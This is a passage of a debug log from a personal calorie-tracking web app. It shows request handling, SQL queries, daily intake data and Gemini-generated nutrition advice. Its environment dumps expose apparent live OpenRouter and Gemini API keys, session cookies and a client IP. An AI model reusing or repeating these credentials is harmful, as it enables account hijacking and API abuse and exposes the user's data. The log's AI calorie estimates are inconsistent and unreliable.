  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-21T08:08:20.274Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T08:08:20.275Z server-connect:app Executing action step identify
2025-12-21T08:08:20.275Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:20.275Z server-connect:output identity: 1
2025-12-21T08:08:20.275Z server-connect:app Executing action step restrict
2025-12-21T08:08:20.275Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T08:08:20.275Z server-connect:output restrict: undefined
2025-12-21T08:08:20.275Z server-connect:router Render template calorie-tracker
2025-12-21T08:08:20.276Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-21T08:08:20.503Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T08:08:20.504Z server-connect:app Executing action step identify
2025-12-21T08:08:20.504Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:20.504Z server-connect:output identity: 1
2025-12-21T08:08:20.504Z server-connect:app Executing action step restrict
2025-12-21T08:08:20.504Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:08:20.505Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T08:08:20.505Z server-connect:output restrict: undefined
2025-12-21T08:08:20.505Z server-connect:app Executing action step single
2025-12-21T08:08:20.505Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T08:08:20.506Z server-connect:app Executing action step identify
2025-12-21T08:08:20.506Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:20.506Z server-connect:output identity: 1
2025-12-21T08:08:20.506Z server-connect:app Executing action step restrict
2025-12-21T08:08:20.506Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:20.506Z server-connect:output restrict: undefined
2025-12-21T08:08:20.506Z server-connect:app Executing action step single
2025-12-21T08:08:20.506Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T08:08:20.507Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T08:08:20.507Z server-connect:app Executing action step select
2025-12-21T08:08:20.507Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T08:08:20.508Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's food intake provided a good protein boost from the whey supplement, which aligns well with your muscle development goal. The meal composition appears balanced with carbohydrates and fats. Consistent early morning gym sessions are a positive factor for your fitness journey. Continued adherence to this routine should support your progress.",
    bad_points: [
      'More variety in vegetables could enhance nutrient intake.',
      'Fiber content might be suboptimal without additional sources.'
    ],
    good_points: [
      'Whey protein intake supports muscle development.',
      'Meals seem to offer a mix of macronutrients.',
      'Consistent gym attendance is noted.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables in your meals.',
      'Consider adding a source of healthy fats, like nuts or seeds, to a meal.',
      'Ensure adequate hydration throughout the day.'
    ],
    predicted_weight: 69.6,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-20T18:30:00.000Z'
}
2025-12-21T08:08:20.509Z server-connect:output item_list: [
  {
    id: 473,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Aalo Matar Ghughri',
    calories: 250,
    protein_gm: 8,
    carbs_gm: 35,
    fat_gm: 10,
    quantity: '1 serving',
    replacements: 'Aalo Matar Ghughri with less oil,Steamed vegetables with a side of lean protein,Lentil soup (dal) with vegetables',
    created_at: '2025-12-20T22:31:45.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
  },
  {
    id: 474,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 24,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g, typical serving size)',
    replacements: 'Casein protein (slower digestion, good for overnight),Egg white protein,Plant-based protein (pea, rice, soy - may have different amino acid profiles)',
    created_at: '2025-12-21T00:05:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development and recovery, especially post-workout. High in protein and low in carbs/fat.'
  },
  {
    id: 475,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Roti',
    calories: 400,
    protein_gm: 12,
    carbs_gm: 80,
    fat_gm: 4,
    quantity: '4',
    replacements: 'Multigrain roti,Jowar roti,Bajra roti,Quinoa roti',
    created_at: '2025-12-21T01:36:48.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, especially with whole wheat. For muscle development, whole grains are beneficial.'
  },
  {
    id: 476,
    intake_date: '2025-12-20T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 150,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 10,
    quantity: '1 serving (approx 150g)',
    replacements: 'Baingan Bharta (less oil),Steamed vegetables,Lauki Sabji (bottle gourd curry)',
    created_at: '2025-12-21T01:36:48.000Z',
    skip_level: 1,
    skip_reason: "Eggplant is a good source of fiber and nutrients. The calorie content depends heavily on the oil used. If prepared with minimal oil, it's a healthy addition."
  }
]
2025-12-21T08:08:20.509Z server-connect:app Executing action step setvalue
2025-12-21T08:08:20.509Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T08:08:20.509Z server-connect:output var_total: 920
2025-12-21T08:08:20.510Z server-connect:app Executing action step setvalue
2025-12-21T08:08:20.510Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T08:08:20.510Z server-connect:output var_consumed: 38
2025-12-21T08:08:20.510Z server-connect:app Executing action step setvalue
2025-12-21T08:08:20.510Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T08:08:20.510Z server-connect:output var_deficit: 1480
2025-12-21T08:08:20.510Z server-connect:app Executing action step custom
2025-12-21T08:08:20.510Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T08:08:20.511Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '920',
    surplus_or_deficit: '1480',
    status_flag: 2
  }
]
2025-12-21T08:08:21.084Z server-connect:app Executing action step identify
2025-12-21T08:08:21.084Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:21.084Z server-connect:output identity: 1
2025-12-21T08:08:28.054Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-21T08:08:28.054Z server-connect:app Executing action step identify
2025-12-21T08:08:28.054Z server-connect:app options: { provider: 'security' }
2025-12-21T08:08:28.054Z server-connect:output identity: 1
2025-12-21T08:08:28.054Z server-connect:app Executing action step restrict
2025-12-21T08:08:28.055Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:08:28.055Z server-connect:output restrict: undefined
2025-12-21T08:08:28.055Z server-connect:app Executing action step processWithGemini
2025-12-21T08:08:28.055Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-21T08:08:29.744Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Walnut',
      quantity: '1 full piece (approx 4g)',
      calories_consumed: 26,
      total_calories: 26,
      protein: 0.6,
      carbs: 0.5,
      fat: 2.6,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of healthy fats, protein, and fiber. Beneficial for muscle development and overall health.'
    }
  ],
  total_macros: { protein: 0.6, carbs: 0.5, fat: 2.6, unit: 'grams' }
}
2025-12-21T08:09:01.717Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-21T08:09:01.717Z server-connect:app Executing action step identify
2025-12-21T08:09:01.717Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:01.718Z server-connect:output identity: 1
2025-12-21T08:09:01.718Z server-connect:app Executing action step restrict
2025-12-21T08:09:01.718Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:01.718Z server-connect:output restrict: undefined
2025-12-21T08:09:01.718Z server-connect:app Executing action step processWithGemini
2025-12-21T08:09:01.718Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-21T08:09:02.987Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Walnut',
      quantity: '2 full pieces (approx 28g, assuming 2 whole walnuts)',
      calories_consumed: 185,
      total_calories: 185,
      protein: 4.3,
      carbs: 3.9,
      fat: 18.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of healthy fats, protein, and fiber, beneficial for muscle development and overall health.'
    }
  ],
  total_macros: {
    total_protein: 4.3,
    total_carbs: 3.9,
    total_fat: 18.5,
    unit: 'grams'
  }
}
2025-12-21T08:09:08.151Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-21T08:09:08.152Z server-connect:app Executing action step identify
2025-12-21T08:09:08.152Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:08.152Z server-connect:output identity: 1
2025-12-21T08:09:08.152Z server-connect:app Executing action step restrict
2025-12-21T08:09:08.152Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:08.152Z server-connect:output restrict: undefined
2025-12-21T08:09:08.152Z server-connect:app Executing action step processWithGemini
2025-12-21T08:09:08.152Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-21T08:09:09.392Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Walnut',
      quantity: '2 full pieces (approx 8g)',
      calories_consumed: 52,
      total_calories: 52,
      protein: 1.16,
      carbs: 1.08,
      fat: 5.2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of healthy fats, protein, and fiber, beneficial for muscle development and overall health.'
    }
  ],
  total_macros: { protein: 1.16, carbs: 1.08, fat: 5.2, unit: 'grams' }
}
2025-12-21T08:09:19.918Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-21T08:09:19.919Z server-connect:app Executing action step identify
2025-12-21T08:09:19.919Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:19.919Z server-connect:output identity: 1
2025-12-21T08:09:19.919Z server-connect:app Executing action step restrict
2025-12-21T08:09:19.919Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T08:09:19.919Z server-connect:output restrict: undefined
2025-12-21T08:09:19.919Z server-connect:app Executing action step condition
2025-12-21T08:09:19.919Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-21T08:09:19.920Z server-connect:app Executing action step repeat
2025-12-21T08:09:19.920Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-21T08:09:19.920Z server-connect:app Executing action step insert
2025-12-21T08:09:19.920Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-21T08:09:19.921Z server-connect:output calories: { affected: 1, identity: 477 }
2025-12-21T08:09:19.921Z server-connect:output repeat: [ {} ]
2025-12-21T08:09:19.921Z server-connect:output condition: undefined
2025-12-21T08:09:20.164Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T08:09:20.164Z server-connect:app Executing action step identify
2025-12-21T08:09:20.164Z server-connect:app options: { provider: 'security' }
2025-12-21T08:09:20.164Z server-connect:output identity: 1
2025-12-21T08:09:20.164Z server-connect:app Executing action step restrict
2025-12-21T08:09:20.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T08:09:20.165Z server-connect:output restrict: undefined
2025-12-21T08:09:20.165Z server-connect:router Render template layouts/main
2025-12-21T08:09:20.165Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
